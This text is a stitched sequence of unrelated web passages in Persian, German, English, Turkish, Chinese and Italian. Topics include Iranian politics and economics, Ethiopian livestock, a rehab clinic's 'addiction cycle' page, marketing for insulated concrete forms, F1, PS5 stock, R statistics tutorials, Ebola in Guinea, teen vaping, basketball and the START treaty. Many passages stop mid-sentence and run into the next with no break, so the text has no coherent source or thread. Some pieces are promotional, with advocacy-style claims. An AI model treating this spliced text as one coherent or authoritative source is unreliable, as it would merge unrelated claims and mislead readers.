لاریجانی افزود: کشور در دوره گذار قرار دارد و از شرایط نسبتا سخت در حال عبور است، البته بنا نیست امکاناتی که فراهم شده به صنعتگران داخلی ارائه نشود، بلکه تلاش ها برای رونق تولید داخلی بوده است. روی هم رفته شرایط به سمت بهبود در حال حرکت است هر چند شیطنت هایی از سوی دشمنان وجود دارد.
به گفته وی، برخی از مشکلات اقتصادی مربوط به سازوکار درونی است و به بحثهای بیرونی ارتباطی ندارد. به طور مثال در شرایط رکودی نباید سخت گیریهای مالیاتی وجود داشته باشد. البته در این رابطه با وزیر اقتصاد صحبت کردم که البته وی نیز مسائلی بیان می کرد، اما باید فضای تنفسی برای صنعتگران ایجاد کرد.
لاریجانی با تاکید بر اینکه رفتار بانک ها نسبت به صنعتگران باید رفاقت آمیز باشد، گفت: اینکه نرخ سود را پایین بیاورند اما 10 درصد از پول را بلوکه کنند خیلی مشکلات را حل نمی کند. زیرا بلوکه کردن حساب ها روش نادرستی است که باید جلوی آن گرفته شود. البته باید این مسائل در برنامه ششم توسعه حل شود.
وی تصریح کرد: برخی قوانین خوب مصوب شده اما اجرای آنها صحیح نبوده است، بنابراین باید نظارتها بیشتر شود. البته مجلس جدید علاقه مند است تا کمبودها و مشکلات را حل کند و در این رابطه کمیسیون های مجلس نظارت خواهند داشت. از این روقبل از ورود به بررسی برنامه ششم توسعه باید خانه صنعت و معدن، وزارت صنعت و اتاق بازرگانی پیشنهادات خود را ارائه دهند.
لاریجانی ادامه داد: فکر می کنم از روز یکشنبه با ارائه لایحه درخصوص برنامه ششم توسعه، بررسی برنامه ششم در کمیسیون های تخصصی مجلس آغاز خواهد شد. باید از فرصت ها برای تغییر شرایط و رونق اقتصادی در بخش تولید استفاده کرد تا مشکل بیکاری حل شود.
وی اضافه کرد: در برنامه ششم توسعه باید مشکلات حل و نظارتها قوی تر شود و اگر پیشنهادات موثرتری ارائه شود مجلس از آنها استقبال می کند، زیرا مجلس در این دوره علاقه به تمرکز روی موضوعات اقتصادی و تولید دارد.
لاریجانی در ادامه خطاب به صنعتگران گفت: در مقابل مشکلات بخش تولید خسته نشوید و با روحیه حرکت کنید و این یک تعارف نیست، بلکه مجموعه شرایط بهبود وضعیت فراهم است، بنابراین باید از فضا و زمان برای رونق تولید استفاده کرد و مجلس نیز حمایتهای لازم را برای رفع مشکلات انجام خواهد داد.
نماینده قم با بیان اینکه در قم ظرفیتهای خوبی برای جهش اقتصادی وجود دارد، از توجهات استاندار و آقای امیرآبادی فراهانی برای پیگیری حل مشکلات تشکر کرد و گفت: نزدیک بود
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وس.”|Book Series (78)||
|Biochemistry, molecular biology, gene technology||107|
|Domestic and nutritional science||40|
|Environmental research, ecology and landscape conservation||131|
5. Auflage bestellen
|ISBN-13 (Hard Copy)||9783954049684|
|Place of Dissertation||Hohenheim|
Ethiopia is known for its crop and livestock diversity that is distributed across different agro-ecologies and socio-cultural settings. The country has the largest livestock population in Africa, with 52 million cattle, 25 million sheep, 21 million goats and 38 million chickens (CSA, 2010). Smallholder agriculture is the main economy of the country. More than 84% of the total 90 million people depend on agriculture for their livelihood. The mixed crop-livestock system, which prevails mostly in the highlands of the country, harbours more than 60% of the people and two thirds of the ruminant population (Dejene, 2003; Cecchi et al., 2010). Large areas of the mixed farming systems in Ethiopia experience high population pressure with spatial differences across the country. Particularly in the perennial crop-growing areas of the southern highlands, very high rural population densities per arable land exist (Yilma, 2001; Regassa and Yusufe, 2009). In addition to the spatial differences, a temporal trend shows a sharp decline in per capita farmland holdings in the country; from 0.5 ha to less than 0.2 ha between 1960 and 2000 (Jayne et al., 2003). Consequently, this population growth has implications on ownership and distribution of basic production assets in the agrarian society, notably farmland and livestock.With addiction, the addict becomes caught up in a viscous cycle, and he/she is unable to break from of the addiction. Understanding this cycle of addiction helps you realize the causes and issues associated with this disease.
The first stage of the addiction cycle is obsession. You experience an intense euphoria (reward) with drug use. The substances help you cope with problems and stress. With obsession, you want to re-experience that first high over and over, and nothing else in life offers any relief or pleasure. In addition, you neglect your family and self with the obsession stage, drugs becoming your number one priority.
- Insanity Develops
Drug abuse interferes with the brain’s communication system. You do not make logical judgements, rational decisions, and sane choices when using a drug or alcohol. In addition, it is hard to distinguish reality from fantasy, which is a form of denial. Other manifestations of insanity include:
- Selfishness – You want to feel normal and could care less who is hurt.
- Use of defense mechanisms – These include anything to rationalize the consequences of drug addiction, such as manipulations, dishonesty, justifications, minimization, and intellectualization.
- Grandiosity – Thinking you are special, different, smarter, and better than other people.
- Chaos – Your life is unmanageable and chaotic. You cannot rely on yourself to make a rational decision.
- Cravings Develop
Drug abuse changes the brain’s structure and function. Brain nerve cells receive, send, and process information that is abnormal, and the brain is actually physically dependent on the drug. Slowly, the brain requires the drug to function normally. In a recent study, researchers conducted a large review of the impact of opioids on the endocrine system. They found that these substances induced central suppression of secretion of gonadotropin-releasing hormone (GRH), which resulting in fatigue, depression, infertility, low libido, anxiety, and loss of muscle strength. They concluded that non-opioid management of pain be used to prevent these problems.
- Tolerance Develops
The brain adapts to the substance and builds a tolerance. This means you require more and more of the drug to feel normal. Tolerance causes loss of emotions, problems with feelings, and changes in morals. With tolerance, you are no longer able to respond to the drug in a way a normal person would. The development of tolerance is not addiction, but many drugs that cause tolerance also lead to addiction. Opioids bind to certain brain receptors, triggering the inhibition of the enzyme adenylate cyclase. This causes abnormal brain cell function.
- Experience Hopelessness
With addiction, you are not aware of the disease. You think you are bad or just a weak person, causing feelings of guilt, shame, and regret. Drug use gives you the illusion of power, and you often make sincere attempts to not use again. Feelings of hopelessness develop, causing you to continue using as an escape.
- Reaching Rock Bottom
In recovery, rock bottom is a phrase use to describe total loss. You lose your job, your family, your assets, and sometimes, your freedom. The cycle is repeated over and over again until you do reach rock bottom. Ending up in an institution or killing one’s self are examples of what could happen if you choose to continue with the cycle of addiction.
Call Pacific Bay Recovery for top addiction treatment in San Diego today!
Katz N & Mazer NA (2009). The impact of opioids on the endocrine system. Clinical Journal of Pain, 24(2), 170-175.
National Institute of Drug Abuse (2016). The Neurobiology of Drug Addiction. Retrieved from: https://www.drugabuse.gov/publications/teaching-packets/neurobiology-drug-addiction/section-iii-action-heroin-morphine/6-definition-toleranceEnergy Performance & R-Values of Insulated Concrete Forms
Fact or Fiction: "The R-value tells me how much energy my house will use, right?" R-value measures the resistance a material has to heat transfer, this much is true. R-value alone, however, does not fully describe the energy performance of a building. Everyone in the ICF community knows that ICF buildings far outperform framed buildings with comparable stated R-values in terms of energy efficiency and comfort level, but why is that? Let's look at the main factors affecting actual energy performance of a building: Thermal Conduction, Convection, Radiation & Mass.
Thermal Conduction is the heat transfer through a material by contact of one molecule to the next. This is the only factor an R-value measures.
- We have all heard builders claim to build "R-13" or "R-21"
walls with wood frame construction. The
problem is that only the highest rated
component in the wall - the insulation itself - performs at these stated
R-values. A wood frame wall is made up of several components, not
all of which have the same R-value. For instance, a 2x4 or 2x6 stud has
an R-value of about R-5 or R-7. Every 16 inches or so, one of
these components breaks the insulation layer and forms a "thermal bridge", conducting heat
through the walls at high rates in addition to being a major cause of
mold in standard construction. Adding up the area of studs,
plates, and headers, 12% to 16% of the total wall area is
an R-5 or R-7 thermal bridge, all detracting from the
stated R-value. In addition, batt insulation tends to
sag over time and leave spaces without any insulation! How can those
builders claim only the highest-component R-value? From a whole-wall perspective, framed walls operate at far lower
R-values - sometimes only half of the advertised value.
- ICF walls consist of a center cavity to contain concrete between two layers of EPS which provide two largely continuous layers of insulation rated at R-22 and higher. From a whole-wall perspective, an ICF wall actually lives up to the advertised R-values because thermal bridging is absent.
Thermal conduction is not the only mode of energy loss in a building. In fact, conduction often contributes less to energy losses in wood frame buildings than convection, which is not even measured by R-values.
Thermal Convection is heat transfer by movement of currents within fluids or gases. When considering energy performance of buildings, it's the air moving between the inside and outside or "air infiltration". A common measurement is 'Air Changes per Hour' at a blower-door induced pressure differential of 50 Pascal (ACH50). US Energy Star standards for new homes require less than 4-7 ACH50. In comparison, Canadian R-2000 standards are 1.5 ACH50, and Swedish standards are 0.5 ACH50 or less.
In wood frame buildings convection can be
felt as drafts and is usually the biggest source of energy loss. Air
infiltration accounts for up to 40% of the energy losses of a wood
framed structure. Energy escapes via conditioned air leaking through thousands of cracks, openings, and
joints between all the "matchsticks" of the building shell. Major culprits include
framing connections, wall, floor & roof intersections, shrinkage of wood and
caulking, and poor installation of components and sealants. A typical new
wood frame home has between 1.75 and 3 air changes per hour (ACH50) and
after some years it's often between 5 and 10 ACH50 as the wood shrinks and
sealants deteriorate. Old wood frame homes commonly have 10 to 20 ACH50.
- ICF walls & roofs are an effective air (and vapour) barrier because the concrete is solid without passages for air to leak, thus eliminating a major percentage of air infiltration. ICF buildings consistently get results of 0.5 to 2.5 ACH50 and less, largely depending on the installed roof type and sealing. Most air infiltration in an ICF home is through a conventional roof and around windows & doors, so pay attention to these areas, e.g. use Quad-Deck for the roof of the building. Adequate air exchange in very airtight buildings must be ensured, typically using mechanical ventilation. Mechanical ventilation can be combined with 'heat/energy-recovery' units and/or ground heat exchangers for additional savings where conditions & budgets allow it.
Thermal Radiation transfers heat via electromagnetic waves, which for buildings are mostly the sun's rays. Depending on factors like site & location of the building and the prevailing climate, Passive Solar Building Design helps optimize a building's absorption and reflection of solar radiation through solar orientation, placement of windows and shading elements, choice of finishes, and incorporation of thermal mass.
Thermal Mass refers to a material's capacity to store heat. Concrete and (Adobe) bricks have high thermal mass, which can act like a battery for heat. The classical use of thermal mass is in desert climates, where outside temperatures swing above inside temperatures during the day and below at night. High mass building shells can store the heat from the outside during the day and release some of that heat to the inside at night - keeping the inside comfortable using almost zero energy. In temperate climates, thermal mass is best used in combination with the principles of passive solar design, e.g. let the winter-sun heat high mass floors through windows.
- Wood frame buildings have almost no
thermal mass - unless finished with brick, which is on the wrong side of the insulation to be effective.
- High mass construction built into ICF walls & floors can further reduce the requirements for active heating & cooling systems in some climates & projects. Another benefit is evident during power outages, when the interior temperature of ICF buildings takes days to change instead of hours.
All of the above translate into significant ongoing energy savings and savings from smaller sized HVAC equipment. Most current residential HVAC sizing software does not consider the effects of thermal mass. In response, the Portland Cement Association (PCA) developed HVAC Sizing software to estimate the required heating and cooling system capacity for single-family concrete homes based on a user-defined thermostat set point, house dimensions, construction materials, and location. Another energy simulation software is "Energy Plus" by the U.S. Department of Energy.
Getting back to the original questions, the answers are...
"No - the R-value of one component alone does not tell you how your building will perform". Remember, the Building Code is only a MINIMUM standard and there are many factors that influence actual energy performance.
"Yes - ICF buildings far outperform framed buildings despite similar stated R-values". The secret lies in the combination of reduced conduction & convection, and high thermal mass. The result is a building with a lower appetite for energy and vastly improved comfort inside the building due to more consistent temperatures, lack of drafts, and superior sound absorption.
Every building should be considered from a 'whole system' perspective and designed using an integrated systems approach. Besides walls, roof and slab, windows also have a significant impact on performance since they usually make up 10% to 20% of the total wall area and range widely in energy performance. Energy Raters and some engineers & architects now offer energy modeling services that will paint a much more accurate picture of how your building will actually perform. A small investment in a computer analysis helps in formulating the best-value design of a building to save tens of thousands in energy costs, even hundreds of thousands for larger buildings, over a building's lifetime.
Please contact us to get started.
Light = Warm / High Energy Loss (when heating)
Dark = Cool / Low Energy Loss (when heating)
The images of these two nearby buildings were taken on the same winter day. The Quad-Lock church is largely cool outside due to the efficient walls and efficient windows. The conventional building's walls are almost as warm (light) as its windows - they are heating the environment and we can almost see the dollar bills being thrown out the windows.
Five Steps to Zero Energy
(Research) Thermal Metrics for High Performance Enclosure Walls: The Limitations of R-Value
* Source: Portland Cement Association Technology BriefsRomain Grosjean Haas'daki kullandığı ilk simülatörden memnun kaldı. Fransız pilot F1'e yeni katılan Haas takımının sağlam bir temele sahip olduğunu düşünüyor.
Haas ayın 15'inde görücüye çıkaracağı aracı üzerindeki son ayarlamaları yaparken, Grosjean'da Barcelona testlerine simülatör aracılığıyla hazırlanıyor.
Grosjean'ın ilk izlenimleri olumlu yönde
Grosjean: "İlk başta frenleme esnasında enerji kazanımı, gazlama tepkisi gibi birçok küçük teknik problem olsa da aldığım his oldukça iyi."
"Her şey halledildikten sonra iyi sonuçlar almak için yeterli bir aracımız olacak."
Grosjean simülatör ile aracı kullanırken hissedecekleri arasında büyük farklar olabileceğinin farkında.
Fransız pilot: "Simülatör sadece bir rehber ama aracın temelinin oldukça iyi olduğunu düşünüyorum."
"Rüzgar tüneli için simülatörde ve gerçekteki hesaplamalar arasında büyük farklılıklar vardı."
"Örneğin Lotus'da aracın pistteki performansı ile pist üzerindeki performansı inanılmaz derecede farklıydı."
2016 sezonunda Grosjean'ın Haas F1 Takımındaki takım arkadaşı Esteban Gutierrez olacak. Genç Gutierrez ile tecrübeli Grosjean arasındaki mücadele bu sezonun ilgi çekici yanlarından biri olacak.
Önceki haber
Wehrlein Manor F1'in koltuğunu kaptı
Sonraki haber
Maldonado 'F1'den ayrılışım benim için büyük sürpriz oldu'Gut Health in Diabetes: It’s What's Inside that Matters
Ryan Bradley, ND, MPH September 2006
The gastrointestinal tract, frequently referred to less appealingly as the “gut”, is a complex, finely regulated ecosystem that involves the coordination of the nervous system; multiple organs including the stomach, the pancreas, the liver, and the intestines; and the presence of healthy bacteria that aid our digestion and immune system.
Few health care providers place as much emphasis on digestion and gut as do integrative medicine providers. This emphasis comes from a long held belief that optimal nutrition, digestion, and elimination are cornerstones to good health and long life.
Nutrition refers to the quality o
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ی های بزرگ ترین بندر تجاری ایران به این منطقه سفر کرده بودند. ایران به صرفه ترین مسیر بین المللی برای ترانزیت غلات تولید شده در کشورهای آسیای میانه به مقصد کشورهای آفریقایی است و بندر شهید رجایی با قرار گرفتن در استراتژیک ترین نقطه کریدور شمال ـ جنوب، بهترین بندر برای این منظور قلمداد می شود.
کد خبر: 80019
تاریخ انتشار: 2 مهر 1393 - 15:27Sony hızlanıyorPS5stoklar, bu ay iki büyük sevkiyat için ayarlandı; ilki bu hafta başlıyor, ikincisi ise Mart ayının son haftası için ayarlandı. Bir dizi İngiltere perakendecisi bu hafta büyük bir PS5 stoku için sabitlendi ve GAME bunlardan biri.
En iyisinin nasıl yapılacağına dair birkaç ipucu gördük.ödeme sürecinden geçmekancak GAME, herkesin bir tane satın almak için adil bir şansa sahip olduğundan emin olmak için kullandığı yeni sisteme değinerek, bir PS5'in nasıl güvence altına alınacağına ilişkin daha fazla ayrıntıyı yayınladı.
PS5 stok takip hesabı,PS5Stok Uyarısıİngilterebir PS5'e el atmaya çalışırken sırayı atlamaya çalışan istekli oyuncuların sadece ayağına ateş ettiğini paylaştı. GAME, 'OYUN kuyruğunu atlayarak alınmış' siparişlerin iptal edilmesini içeren yeni önlemler ortaya koydu; bu nedenle, bu yönteme güveniyorsanız, yeniden düşünmenizi öneririz.
Aynı kart detayları, aynı GAME hesabı veya aynı adres kullanılarak daha önce bir PS5 sipariş edilmişse, GAME siparişleri de iptal edecektir. Açıklıyor:
'Bunların hepsi, henüz bir konsol almayı başaramayanların, konsolu güvenceye almak için mümkün olan en iyi şansa sahip olmalarını sağlamak için.'
PS5 bölge kilitli değil, bu nedenle dünyanın neresinde olursanız olun onu teslim almayı başarabilirseniz, tüm bölgesel düşüşlere göz kulak olmaya değer.PS5 stok takipçisi.logistic回归又主要在流行病学中应用较多，比较常用的情形是探索某疾病的危险因素，根据危险因素预测某疾病发生的概率，等等。例如，想探讨胃癌发生的危险因素，可以选择两组人群，一组是胃癌组，一组是非胃癌组，两组人群肯定有不同的体征和生活方式等。这里的因变量就是是否胃癌，即“是”或“否”，为两分类变量，自变量就可以包括很多了，例如年龄、性别、饮食习惯、幽门螺杆菌感染等。自变量既可以是连续的，也可以是分类的。通过logistic回归分析，就可以大致了解到底哪些因素是胃癌的危险因素。
logistic回归的因变量可以是二分类的，也可以是多分类的，但是二分类的更为常用，也更加容易解释。所以实际中最为常用的就是二分类的logistic回归。
星期三, 四月 27, 2011
星期日, 四月 24, 2011
将数据进行可视化是探索分析的首要步骤。R语言中有两大高级绘图扩展包，即是lattice与ggplot2。它们各自都有很强的绘图能力。不过只有工具是不够的，巧妇难为无米之炊，你还得有数据。World Bank Data是世界银行组织构建的一个开放数据库，其中包括了世界各国关于经济、环境、人口等信息。数据获取的一种方法是从其网站上下载数据再导入R软件，另一种是利用WDI扩展包，直接读取想要的数据。
下面我们用WDI包的WDI函数，将中国、俄罗斯、南非、印度、巴西这五国的GDP数据载入内存，选取的时间为1990-2009年，在选择国家时需使用ISO-2标准的国家代码，数据指标是世界银行的特定编码，你可以通过WDIsearch("gdp")命令来得到所有关于GDP的编码。
下面我们用WDI包的WDI函数，将中国、俄罗斯、南非、印度、巴西这五国的GDP数据载入内存，选取的时间为1990-2009年，在选择国家时需使用ISO-2标准的国家代码，数据指标是世界银行的特定编码，你可以通过WDIsearch("gdp")命令来得到所有关于GDP的编码。
星期日, 四月 17, 2011
一、去哪里找R语言相关的资料
1.官方网站 http://cran.csdb.cn/index.html （官方文献集中地）
2.统计之都论坛
3.人大经济论坛－R子论坛 （免费资料也不少）
4.http://library.nu/ 这是网上电子书最多的地方，其中有一个R语言专门书柜。该站已经被迫关闭
5.本博客的资料收集
6.笔者在verycd上发的一个书单
7.国外著名的R语言群博 http://www.r-bloggers.com/
8.实在不行就google了
二、R语言教程推荐
（一）中文部分：
（二）英文部分
没有时间钻研大部头的同学可以参见本博客的系列入门文章，想下载这些书目电子版的点这里
1.官方网站 http://cran.csdb.cn/index.html （官方文献集中地）
2.统计之都论坛
3.人大经济论坛－R子论坛 （免费资料也不少）
5.本博客的资料收集
6.笔者在verycd上发的一个书单
7.国外著名的R语言群博 http://www.r-bloggers.com/
8.实在不行就google了
二、R语言教程推荐
（一）中文部分：
- 《R for beginners》和《R导论》都有中文版，用其快速入门是相当不错的。西安交大出过一本R语言初学指南也还不错的。
- 《简明参考卡片》，是居家旅行必备的东西。在R官方站可以下载得到
- 《统计学与R笔记》，网络同好做的一个总结资料，相当的完整，不过不合适用来学习而应该作为参考查阅。
- 《统计建模与R软件》（推荐），薛毅老师的书相当精彩，中级统计和多元都有涉及，不仅对R的各种函数命令讲解清楚，而且用基本编程方法来解决统计问题，非常有利于学习。
- 《统计模拟及其R实现》，主要讲R在模拟方面的应用，例子一般，看电子版即可。
- 《多元统计分析及R语言建模》，王斌会老师的书，是多元方面的R语言实现，略为简单，现在出了第二版，如何可以的话还是去读英文资料吧。
- 《环境与生态统计-R语言的应用》，美国杜克大学钱松老师的书，统计思想讲的很透彻，内容包括了初级中级高级三个层次内容，多重模型尤其出彩。
（二）英文部分
- 《An Introduction to R: Software for Statistical Modelling & Computing》，R官方站上的免费教程，钱松老师推荐为是最好的入门讲义。
- 《Introductory Statistics with R》，springer出版的佳作，入门推荐，整体简洁清晰，讲解常规方法比较细致一些，除经典统计内容外还涉及到了生存分析，logistic回归和非线性拟合的内容。
- 《R in Action》（入门最佳），由Quick-R站长所著，分为三个层次讲解的中级统计教程，排版精致，讲到很多较新的扩展包。统计之都团队正组织翻译出版。
- 《The_Art_of_R_Programming》，该书只讲纯粹的R编程语法，不涉及任何统计知识，在一定程度上减轻了学习R的难度。中文版正在翻译中。
- 《Linear Models with R》，关于经典线性模型的教材，讲解有一定深度，需要有一定的概率统计基础。《Extending the Linear Model with R 》线性模型的扩展，和上一本书是同一作者，公式较多，对广义线性模型、加性模型、非线性模型等讲解最为详细。
- 《Applied Econometrics with R》，是Use R!系列中的一本，为计量经济学中之应用。
- 《Exploratory multivariate analsis by Example Using R》，多元方面的书，较为简洁，例子不错。
- 《A Handbook of Statistical Analyses Using R》（推荐），非常经典的中级统计（条件推断、荟萃分析和面板数据分析尤其出色）主要通过案例讲解，基本没有公式。《Modern Applied Statistics With S 》（推荐）另一本经典，虽然标题是讲S，但也有R的示范，这两本可谓是R教材中的倚天屠龙。
- 《Introductory time series with R》，Use R!系列的另一本，用它来入门时间序列很不错，如果要深入一些可以看《time series analysis: with applications in R》，这本书华章出了中文版。
- 《A first course in statistical programming with R》，关于科学计算方面的R语言教材，入门水平。如果要更进一步可以去看《Introduction to Scientific Programming and Simulation Using R》（推荐），非常棒的代码和案例。
- 《R cookbook》，菜谱式参考书，主题清楚方便查找。另一本相关的是《R graph cookbook》，绘图方面的必备参考书，以R语言基本绘图命令为主，还涉及到headmap以及地理绘图。
- 《Using R for Data Management, Statistical Analysis, and Graphics 》统计函数手册，容易查阅。
- 《Data Mining with R Learning with_Case Studies》（推荐） 用例子来讲解数据挖掘，有点难度的。如果能将这几个案例全部照着做一遍应该会极有收获。还有一本关于数据挖掘的是《Data Mining with Rattle and R》，对于数据挖�
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ekli temizlenebiliriz ki?" diyor...
Sonunda iki aile çok hasta durumdaki iki kişiyi getiriyor. Hastalar derhal tedavi merkezine götürülüyor.
Daha önce bu köyden dört kişinin Ebola virüsünden öldüğü biliniyordu. Bu ziyaret sırasında üç ölüm daha olduğu anlaşılıyor.
Köyde toplam 48 kişinin Ebola kurbanlarıyla yakın temas halinde oldukları belirleniyor. Bu kişiler virüsün kuluçka dönemi olan üç hafta boyunca her gün izlenerek hastalığa yakalanıp yakalanmadıkları kontrol edilecek.
Gueckadou'da sağlık görevlilerinin ziyaretine izin vermeyen iki köy var hala. İki ay önce 28 köyün yardım girişimlerine direndiği düşünülecek olursa, bu büyük bir ilerleme ama hala derin kaygı duyuluyor.
'Sağlık görevlilerinin ilk mesajları kafaları karıştırdı'
Dünya Sağlık Örgütü'nden (WHO) Tarik Jasarevic, köylerin girişleri engellemesinde, virüsün ilk ortaya çıkışında sağlık görevlilerinin karışık mesajlar vermelerinin de kısmen rol oynadığını söylüyor.
Jasarevic, "İnsanlar Ebola için bir aşı bulunmadığını, tedavisinin mümkün olmadığını işitti. Birçok hasta da tedavi yolu yoksa, merkeze niye gideyim der oldu. Sonra bazıları tedavi merkezine gitti ve öldü. Dolayısıyla köyden çıkan kesinlikle ölüyor gibi bir izlenim yayıldı. Hastalıktan kurtulabilmenin mümkün olduğunu, tedavi merkezine ne kadar hızla gidilirse hayatta kalma şansının o kadar arttığını ve böylece aile üyelerinin hayatlarının tehlikeye atılmayacağını, gerektiği gibi anlatamadık. Zira en büyük tehlike altında olanlar, hasta yakınlarına bakanlar." diyor.
Gueckadou ve çevresindeki ormanlık bölgede Ebola ile mücadele çalışmalarından sorumlu olan Dr. Abdurahman Batchili, yörede durumun gelişme kaydettiğini, halkın salgının tehlikelerini daha fazla idrak etmeye başladığını söylüyor. Bunula birlikte, Dr. Batchili, ülke sınırlarında, Sierra Leone gibi ülkelerde durumun tehlikeli boyutlarda olduğunu, dolayısıyla tetikte olunması gerektiğini vurguluyor.
23 Temmuz tarihinden önceki üç gün içinde, Gine'deki 12 vakaya karşılık, Sierra Leone'de 71, Liberya'da 25 yeni Ebola vakası saptandı.
Her hafta Gine'nin Sierra Leone ve Liberya ile olan sınırlarından binlerce kişi geçiş yapıyor. Ama sınır boyunca kurulan Ebola tarama merkezlerinin sayısı sadece 13.Mikaela Hunt, Moderator
Dr Frances Adkins, Pediatrician
Alisha Hopkins, Clinic Director, FNP, The Breathing Association
Dr. John Marschhausen, Superintendent, Hilliard City Schools
Joel Assenheimer, 9th Grade Principal at Hilliard Davidson HS
Many teens hold the assumption that vaping is less harmful than smoking. Maybe that is why nicotine use is skyrocketing among them. Recent studies by the National Health Institute report that nicotine use, and in particular vaping, is up among teen users. “About 37% of 12th graders reported vaping in 2018, compared with 28% in 2017. Vaping of each substance that was asked about increased. This includes nicotine, flavored liquids, marijuana, and hash oil.” In fact, teens are four times as likely to “move away from the perception of cigarettes as posing a great risk of harm.”
The panel will address this topic at TEDxHilliard on Aug 9th. Pediatrician Dr Frances Adkins, Alisha Hopkins NFP, Dr. John Marschhausen, Superintendent, Hilliard City Schools, and 9th Grade Principal at Hilliard Davidson High School Joel Assenheimer will address the rising concern of teen vaping and the education and prevention efforts underway to help stem the tide.La persona sostiene di essere l’uomo della vita per la donna della coppia dei suoi vicini di casa. Per questo motivo li perseguita dal 2006. La donna dichiara di non aver mai avuto niente a che fare con il suo persecutore e nonostante le denunce i due coniugi si sentono loro stessi agli arresti domiciliari e non il loro persecutore. In questi casi ci si domanda se è la legge che non funziona oppure è l’applicazione della stessa che viene effettuata in modo errato.詹姆斯11分创赛季新低，骑士阵容从人才济济到满目疮痍
2018-02-05 00:15:42 篮球浅谈
勒布朗詹姆斯
自从乐福受伤以来，骑士的首发阵容是：JR、小托马斯、詹姆斯、TT、克劳德。从纸面上看，这套组合不论进攻和防守都十分均衡。如今看来，JR已经不复当年神经刀的勇猛了，本赛季JR场均上场30分钟，得到8.3分，命中率只有38.4%；小托马斯是一名优秀的进攻型后卫，但防守确实首发当中最大的漏洞。就拿与火箭的比赛来说，哈登和保罗只要看到托马斯在场，球一定会优先分到与之对位的队友，无可奈何托马斯身高是硬伤，根本无法对对手构成干扰；更不要说还有一个被卡戴珊废了的TT。
德里克罗斯
再看替补席上，韦德、罗斯，这两位球员的巅峰可都是MVP级别的，另外两位科沃尔和杰夫格林也是全明星级别的。罗斯毁于伤病，韦德、科沃尔年龄老化，唯一发挥还不错的格林被泰伦卢生生用成了定点投手。
德怀恩韦德
纵观一场比赛，骑士的防守态度根本不像一支总冠军球队，懒散、注意力分散，强队中的团队精神在如今的骑士消失了一般。比赛中骑士球员倒地后，居然没有人去搀扶，大家都在自顾自的打球，违背了最初的篮球理念。不管这个赛季结束詹姆斯还会不会留在克利夫兰，骑士终将要在东部走下神坛了。Understanding architecture :Published by : Westview (USA) Physical details: xxxvii, 745 pages : illustrations (some color), maps ; 26 cm ISBN:9780813349039 (pbk.).
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Includes bibliographical references (pages 669-683) and index.
The Elements of Architecture -- The History and Meaning of Architecture.
"This bestselling, illustrated survey of Western architecture is now fully revised throughout, explaining the structure, function, history, and meaning of architecture in a way that is both accessible and engaging. The long-awaited third edition includes increased global coverage with new mini chapters on Africa, Japan, China, India, and Islamic Architecture; a new chapter covering the future of architecture in the twenty-first century; updated coverage of sustainability and green architecture and its impact on design; an update to the historical survey; and over fifty images in full color. Understanding Architecture continues to be the only text in the field to examine architecture as a cultural phenomenon as well as an artistic and technological achievement with its straightforward, two-part structure: (1) The Elements of Architecture and (2) The History and Meaning of Architecture. Comprehensive and clearly written, Understanding Architecture is a classic survey of Western architecture. "--SAKARYASPOR Teknik Sorumlusu Şaban Yıldırım, Beşiktaş'a karşı iyi futbol oynamayı düşündüklerini söyledi. Yıldırım, yaptığı açıklamada, Beşiktaş karşısında puan almayı hedeflediklerini ve siyah beyazlılaa karşı iyi futbol oynamayı düşündüklerini belirten Yıldırım, "Hem Beşiktaş'ın oyun yapısına yakın bir şekilde oynamak, hem de kendi oyun sistemimizi sahaya koymak istiyoruz. Buna uygun çalışmaları hafta içinde sürekli yaptık" dedi.به گزارش اجاره معاون سازمان برنامه و بودجه با اشاره به تقویت اعتبارات مدیریت سبز در بودجه ۹۹ کل کشور اظهار داشت: طی ۲٫۵ سال اخیر که به مدیریت سبز توجه شد شاهد کاهش ۳۰ درصدی هزینه های گاز بوده ایم.
به گزارش اجاره به نقل از مهر، حمید پوراصغری امروز در سومین نمایشگاه دستاوردهای اجرایی در حوزه مدیریت سبز، گفت: امیدوارم در ارتباط با سوژه مدیریت سبز هر ساله شاهد ارتقای کیفی و کمی اقدامات و ابداعات دانشگاه ها و موسسات پژوهشی باشیم. وی افزود: در بحث مدیریت سبز بعنوان سوژه مهم در دنیا مساله «حفاظت از محیط زیست» مورد توجه قرار دارد. معاون علمی سازمان برنامه و بودجه کشور اضافه کرد: کوشش برای حداکثر کردن منابع با عنایت به رشد جمعیت و کمبود منابع و بروز عوارض زیست محیطی، سران کشورها را بر این داشت که این مساله را بعنوان یکی از اهداف توسعه پایدار در صدر برنامه های خود قرار دهند. وی با اشاره به اینکه مدیریت سبز پاسخی برای چالش های محیط زیست است، اظهار داشت: مدیریت سبز می تواند یکی از راهکارها برای کنترل مصارف باشد. پوراصغری گفت: در ارتباط با مدیریت سبز در قانون اساسی حفظ محیط زیست را بعنوان یک وظیفه دنبال کرده ایم و در سنوات اخیر نیز در برنامه های توسعه ای م
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bkz.“ IEE ”No. 30, 2012). START Antlaşması’nın “işbirliği”, “işbirliği” türleri, “üçüncü devletler” terimlerini ve kaç tane olabileceğini açıklamadığı vurgulanmalıdır.
XIII. Maddenin ilk ihlalinin özü, Amerikalıların, Vangard tipinin modernizasyonuna ve çeşitli teknik önlemlere katılan, Trident-8 SLBM'yi İngiliz stratejik nükleer kuvvetleri tarafından satan, START Antlaşması'nı (Nisan 2010 üzerinde 2) imzaladığı sırada açıklamamasıdır. Özerk ve karmaşık testler yürüten İngiliz SSBN'lerin ve savaş başlıklarının Amerikan füzelerle birlikte yerleştirme sistemleri.
Amerikan tarafı, füze satışına ek olarak aşağıdaki faaliyetleri de gerçekleştirir: İngiliz uzmanların eğitimi; operasyonel ve muharebe dokümantasyonunun incelenmesine ve geliştirilmesine yardımcı olmak; İngiliz savaş başlıkları ve SSBN'ler ile Trident-2 SLBM sistemlerinin yerleştirilmesi.
Amerikalı uzmanlar, İngiliz SSBN'ler ile ilgili füzelerin savaşa hazırlıklı olmaları, bakımları, özerk ve karmaşık testlerde, sorun giderme ve servis bakımlarında, Doğu Füze Serisi ve diğer faaliyetlerden İngiliz SLBM'lerinin kontrol ve savaş başlatmaları için hazırlık ve yürütmede yer alıyorlar.
Maddenin ikinci ihlalinin özü, START Antlaşması'nın imzalandığı tarihte Amerikalıların, Trident için evrensel bir füze bölmesi (Сommon Missile Сompartment - CMC) ile yeni bir İngiliz SSBN oluşturmak için Saccessor programına (Halef) katılmalarını gizlemeleriyle ilgilidir. 2 ».
Amerikan şirketi General Dynamics'in bu programa, Mayıs 2012'ten bu yana, yani START Antlaşması'nın imzalanmasından sonra katıldığı ortaya çıktı.
